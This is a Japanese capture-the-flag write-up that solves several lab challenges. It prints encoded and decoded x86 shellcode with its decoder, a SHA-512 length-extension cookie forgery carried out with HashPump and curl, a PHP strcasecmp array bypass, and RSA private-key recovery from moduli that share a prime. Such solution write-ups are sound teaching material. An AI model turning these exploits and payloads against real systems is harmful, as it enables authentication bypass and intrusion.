n9hkokN944VDxtfQkbh2CG6QyYE4nkpqp0lKBVtLlKpvULnksvs8LKQnwPnk5ffXPOWhd5JSQIUQN1iokQu0nk2LfD4dNk2egLNkBt4h1h6a9zlKBjR8NkBzQ07qJKysdt3ynkvTLKuQHnp1yoTqYP9lLlk49PD4WwYQxODMeQxGjKHtGK1lWTa8T5iqLKaJetS1JKCVnkTL0KlKqJwlvaJKlKvdlKFaM8LIrdtdglu18CH26hgYztlI8elIYRrHnnrntNzLQBZHooyoYoIoMY3ugtMk1nN8xbqclG7lFDF2kXnniokOyoniG5eXcXRLplGP2a58ecp26NqtrHT543e5BRK8slfDgzmYzFSfyo2uVdmYzbF0oK98lbrmoLLGUL14qBkXqqyoyoio3X0obXrx5pbHsQRGqusrphbmBE2S3C01iKk8QL5tDJOyXcrHQe0XgPepqxTvpovX42U8CIaqBKQSE8sFRTdsEde81OVRaX60bHPFblsqw76QIYoxRl7TGeNiKQtqXR0R2s0Q1BkOxP4qiP0PkOceWxAA
ここがシェルコードの本体のようです。
また実行時デコーダですが
シェルコードをASCII化する際の処理は
for (int j=0;j<sizeof(evil);j++)//evil你自己的shllcode,用的话需修改源码
//evilは君のシェルコードに書き換えなよ
{
input=evil[j];
// encoding AB -> CD 00 EF 00
A = (input & 0xf0) >> 4;
B = (input & 0x0f);
F = B;
// E is arbitrary as long as EF is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
// normal code uses xor, unicode-proof uses ADD.
// AB ->
D = unicode ? (A-E) & 0x0f : (A^E);
// C is arbitrary as long as CD is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
printf("%c%c", (C<<4)+D, (E<<4)+F);
}
こうなっているので
実行時デコーダはこの逆を行っているはずなので
これを再現します。
for(i=0;i+1<sizeof(sc);i=i+2) {
ch1 = sc[i];
ch2 = sc[i+1];
D = (ch1 & 0x0f);
E = (ch2 & 0xf0) >> 4;
F = (ch2 & 0x0f);
A = D^E;
B = F;
printf("\\x%X%X", A, B);
}
こんな感じに再現できます。
これで
シェルコードの本体のデコード済みコードは
\xD9\xEB\x9B\xD9\x74\x24\xF4\x31\xD2\xB2\x77\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\x59\x01\xD1\xFF\xE1\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x28\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24\x1C\x61\xC3\xB2\x08\x29\xD4\x89\xE5\x89\xC2\x68\x8E\x4E\x0E\xEC\x52\xE8\x9F\xFF\xFF\xFF\x89\x45\x04\xBB\x7E\xD8\xE2\x73\x87\x1C\x24\x52\xE8\x8E\xFF\xFF\xFF\x89\x45\x08\x68\x6C\x6C\x20\x41\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x88\x5C\x24\x0A\x89\xE6\x56\xFF\x55\x04\x89\xC2\x50\xBB\xA8\xA2\x4D\xBC\x87\x1C\x24\x52\xE8\x61\xFF\xFF\xFF\x68\x6F\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x31\xDB\x88\x5C\x24\x0A\x89\xE3\x68\x75\x58\x20\x20\x68\x36\x6F\x38\x72\x68\x79\x61\x6B\x43\x68\x76\x74\x33\x34\x68\x5F\x32\x48\x50\x68\x46\x4C\x41\x47\x31\xC9\x88\x4C\x24\x15\x89\xE1\x31\xD2\x52\x53\x51\x52\xFF\xD0\x31\xC0\x50\xFF\x55\x08\x51\x5F
とわかりました。
これをまた
Shellcode 2 EXE
で実行ファイルにすると
これで必要な部分だけの実行ファイルができたので
無事に実行できました。
KanGacha
どこかで聞いたことがあるような名前のガチャで
Yamato を引き当てるとクリア…ですが
$shipname[10] = Yamato にもかかわらず
乱数として得られるIDは 0〜9までで、何回やっても
Yamatoを引くことはできません。
しかし、以前にドロップした艦はCookieに記録されるようになっているので
ここを上手く改ざんすれば前に引き当てたことにできるはずです。
ただ、ドロップ艦の情報は
sha512( ID + salt(FLAG) ) したシグネチャ で改ざん防止
されているためそのまま書き換えることはできません。
しかし 既知文字列とそのhash化文字列、saltの長さが分かっている時
その文字列に 他の文字列を加えた文字列のhash化文字列 は計算することができます。
今回は
ship_id 1 のみドロップした時
シグネチャは
24b8c89ea8f5f8854d60e253f23bb5b8856d8a135c19af423db354ac60a1a4c932cecd800a0550211e8cc6e28e73e1ac93e7b9c786adc24702e48701c5
ということがわかり、
saltは FLAG文字列なので FLAG_{16文字} の21文字ということがわかっています。
こういう改ざん手法を Length Extension Attack といい
HashPump という優秀なツールで
簡単に計算できます。
↑ページの使い方に習って
$ ./hashpump -s "24b7447578c89ea8f5f8854d60e253f23bb5b8856d8a135c19af423db354ac60a1a4c932cecd800a0550211e8cc6e28e73e1ac93e7b9c786adc24702e48701c5" -d "1" -a ',10' -k 21
c9ef7bfe7acb622ecda2d108392d190a1540949652c72be0d49fca0946c3b15cbbd4c877b69ac90a3ef04de1b890a0527070e26b317e42bc6e37738b5a2de02d
1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0,10
※id='1' から id='1,10' が作りたいのですが計算の都合上 \x00 というパディングが挿入されています
この時の シグネチャが一行目の出力です。
これをCookieに仕込んでアクセスすればクリアですが、 パディングに使われている \x00 があるとPHPが
文字の末端と勘違いして肝心の .10 を拾ってくれなくなるのでURLエンコードしておきます。
ここまでできたらあとは
$ curl 'http://ctfq.sweetduet.info:10080/~q31/kangacha.php' -H 'Cookie: ship=1%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B0%2C10;signature=c9ef7bfe7acb622ecda2d108392d190a1540949652c72be0d49fca0946c3b15cbbd4c877b69ac90a3ef04de1b890a0527070e26b317e42bc6e37738b5a2de02d'
curl で送りつければクリアです。
Simple Auth
ソースを読んでクリアまで1分もかからないほど
突然難易度が下がった問題です。
(strcasecmp($_POST['password'], $password) == 0)
この部分の判定を誤魔化せばいいので
strcasecmp によろしくない入力をおこなって
関数の結果を false にすればOKです。
これは 8946 take46 と同じで
passwordを password[] に書き換えて送信すると
PHPから $_POST['password'] にアクセスしたとき
string ではなく Array が返ってくるので
文字列比較系の関数が処理を諦めてしまいます。
よって
$ curl 'http://ctfq.sweetduet.info:10080/~q32/auth.php' --data 'password[]=hiroumauma'
これでおしまいです。
HTTPS is secure
httpsでの通信をキャプチャした pcap が渡されるので
これを解析します。
まず
SSLで証明書がやり取りされている
TLSv1 Certificate が2箇所にあるのでを探しだし、
通信内容の
Secure Sockets Layer > Certificate > Certificate (id-at-commonName=chihiro/kei〜)
を Export Selected packet Bytes しておきます。
ここで
$ openssl x509 -in (書きだしたファイル) -inform DER -text -noout
すると公開鍵をみることができます。
Modulus に表示されているのがそれです。
Exp = 65537 になっているのもちらっと確認しておきます。
今、2名に発行された公開鍵が2つ手にはいりましたが、
通信を覗くためには それぞれの秘密鍵が必要で
公開鍵だけから秘密鍵を求めるのは基本的には無理なので
ここで作業がとまります。
しかし、今回は
Hint: Two certificates are similar.
というヒントがあり、証明書が似通っている ということなので
この意味を考えると 秘密鍵に使われている 素数のペアの内
片方を共有している可能性がありそうです。
通常 公開鍵を素因数分解するのは難しいですが
同じ因数を持つ2数があるなら それはユークリッドの互除法で
最大公約数 = 2つの公開鍵が共有する素数 を求めることが
できます。
MathⅠで作った拡張ユークリッドを再利用して
class Euclid
~~ 略 ~~
end
euclid = Euclid.new()
pub1 = 0x00a5a7ce44462e8ac6e4da5e8a8d58e003b8267568b358106cf06412884ceeb7cc4251c2cce2db74689d1afa109bde9762402e81d96cb6c8c6c5aebc8d45a96bf214a618b499a8c6134035c5039bf9a39bc47190e4cc4560cb75ab8d63635cdee8e50f5815b29180cc51a4c8cf76a8bbe6e61c68aca385fdf99e712b10a6be7ed794cf27540b7aa00f59da5579040a9b3b7c23e9e22a15c29eb0c060b96d1f48d1c458e2c412512962ce5af885237b6138df6c9e85d101c266c3b80b02ff97d6fde46598e19e3fa1df2c56bd34addfe716569a2ed42c6442bf2db5e9a51cc2d7dd4497717ddd9a8a66ae281e1a2abf7df7a59779b499cc0f8167a19e3ca5c9bbe3
pub2 = 0x00a4daad49eae0b5c59da0452978ae987e1b96f149dedb62274c97f99ac4544aa90db4aaf9a0967f118b7009097bcb0baeb4a19636777a7747e06ad84496c9c61d18a7b5ca776585a817526ed6d9f0f2abd8c434c62cbf025eb7ce5a83e4a7f9938f3862de24e6292f43270ffda757c17aaa797ff9fe18fd1cb23921dc585d4550384ff5c4f24e6dfc6d4f44b569345808239247c20d266cd0f5e373889ed4e459590b7d742d2837c1c48dcf9418e22191ab4a0bca0ed79b1d45c0ca5d36ea6960c9360c11412329fd5d90ff3467f2d82e23021adf3b6d8be24903b76effc938154ec219f344118f1c41fec31171b62945a07e35762a961a05795389086052dec7
p = euclid.exgcd(pub1,pub2)
q1 = pub1/p
q2 = pub2/p
e = 65537
puts '1:(p,q) = ('+ p.to_s(10) + ',' + q1.to_s(10) + ')'
puts '2:(p,q) = ('+ p.to_s(10) + ',' + q2.to_s(10) + ')'
2つの共有鍵から 素数のペアを2つ計算することができました。
(p,q) が決まったら秘密鍵が求まりますが
.pem の証明書の形に仕立てる必要があります。
この形をつくるのは
このスクリプト
をそのままお借りしました。
p,q,e を順番に入力すると .pem 形式の base64 されたテキストを吐き出してくれるので
それぞれのペアで実行して
my1.pem my2.pem として保存します。
これでほとんど終了です。
作成した pem を早速 WireShark に読み込ませると
通信内容が丸見えになります。
flag.jpg を要求している通信が2箇所見えるので
これを開き、さらにこの要求に応答している部分を見つけて
jpgデータを書き出せばOKです。
2枚に分割された画像が半分ずつ手に入るので
GIMPでくっつければ
完了です。
Are you human?
第一段階として 画像データとして渡される RS符号付きの破損画像データの
ダンプデータを復元する作業に苦戦します。
OCRにかけるしかないのですが、OCRを邪魔する線などが多く
OCRが嫌いそうな明るさの文字のせいでほとんどテキストが
抽出できません。
よってまず ImageMagicで下処理してみることにしました。
OCRには tesseract を使うことにして
#!/bin/sh
mkdir text
mkdir img
echo "tessedit_char_whitelist 0123456789ABCDEF" > ocr.conf
for pic in *.png
do
base=$(basename ${pic} .png)
BG=$(convert ${base}.png -crop 1x1+0+0 txt:- | sed -n 2p - | cut -d " " -f4)
convert -fill '#FFFFFF' -opaque "${BG}" ${base}.png ${base}_a.png
convert -threshold 55000 ${base}_a.png ${base}_b.png
convert -gaussian-blur 2x2 ${base}_b.png ${base}_c.png
convert -threshold 35000 ${base}_c.png ${base}_d.png
tesseract ${base}_d.png stdout -psm 7 ocr.conf > ./txt/${base}.txt
mv ${base}_d.png ./img/${base}.png
rm ${base}_?.png
done
これで
↓
に
変換されるので 大抵の画像でOCRが通るようになりますが
それでも百近いデータを処理ミスしてしまい
これは手作業で直さないとどうにもなりそうになく、
ちょっとやる気にならないので画像の処理方法を工夫中です。
ある程度の読み取りミス (D↔0 や B↔8)などは
リード・ソロモンの訂正能力を信じたいとしても
出力文字0の画像が数十あるようではちょっと厳しいと思います。
Simple Auth II
ソースを読むと、 database.db というデータベースを直接読み込んでいるので
$wget ctfq.sweetduet.info:10080/~q35/database.db
$file ./database
./database.db: SQLite 3.x database
でデータベースを取得
$ splite3 database.db
splite> .table
user user2
sqlite> .dump user1
sqlite> .dump user2
などで調べると user2 に記録されている password文字列を
user1 に記録されている手順で並び替えればFLAGになります。